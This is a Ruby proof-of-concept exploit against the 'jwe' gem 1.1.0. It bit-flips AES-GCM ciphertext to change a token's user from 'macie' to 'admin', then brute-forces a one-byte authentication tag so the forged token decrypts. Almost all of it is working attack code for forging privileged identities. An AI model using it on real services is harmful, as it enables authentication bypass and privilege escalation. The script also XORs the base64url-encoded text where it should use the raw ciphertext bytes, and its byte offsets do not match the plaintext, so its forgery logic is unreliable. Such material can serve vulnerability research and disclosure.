gem 'jwe', '1.1.0'
require 'jwe'
require 'base64'

def split_jwe(jwe_token)
    parts = jwe_token.split('.')
    if parts.size != 5
      puts "Invalid JWE format. Expected 5 parts, got #{parts.size}"
      return nil
    end
    
    {
      protected: parts[0],
      encrypted_key: parts[1],
      iv: parts[2],
      ciphertext: parts[3],
      tag: parts[4]
    }
end

def xor(buf1, buf2)
    buf1.bytes.zip(buf2.bytes).map { |a, b| (a ^ b).chr }.join
end

key = OpenSSL::Random.random_bytes(32)
data= '{user: macie}'
jwetoken= JWE.encrypt(data, key, alg: 'dir', enc: 'A256GCM')
puts jwetoken

parts = split_jwe(jwetoken)
parts.each { |k,v| puts "  #{k}: #{v}" }
ciphertext = parts[:ciphertext]
puts ciphertext

# Let's say we know part of the data and ciphertext
# Lets say we want to make the user as admin. We need a known user for this "macie", so we can use it to forge the jwe token
# So we need to modify it from {user: macie} to {user: admin}

encrypted_prefix = ciphertext[0...10]  # this is till {user:
encrypted_username = ciphertext[10...15] # this is for macie --> 5 bytes
encrypted_suffix = ciphertext[15..-1] # this is for }

puts encrypted_prefix
puts encrypted_username
puts encrypted_suffix

# Substitute known username "macie" with "admin" in the encrypted text
username_xor = xor("macie", "admin")
forged_username = xor(encrypted_username, username_xor)
forged_ciphertext = encrypted_prefix + forged_username + encrypted_suffix

puts forged_ciphertext
puts "Comparing bytesize for forged and original ciphertext"
puts forged_ciphertext.bytesize
puts ciphertext.bytesize

# Now we brute for the auth tag for this
(0..255).each do |byte|
    single_byte_tag = [byte].pack('C')
    crafted_jwe = [
      parts[:protected],
      parts[:encrypted_key],
      parts[:iv],
      forged_ciphertext,
      Base64.urlsafe_encode64(single_byte_tag, padding: false)
    ].join('.')
    #puts "The crafted jwe token is: #{crafted_jwe}"
    begin
        decrypted = JWE.decrypt(crafted_jwe, key)
        puts "Found working single-byte tag: 0x#{byte.to_s(16)}"
        puts "Decrypted message: #{decrypted}"
        break
    rescue
    end
end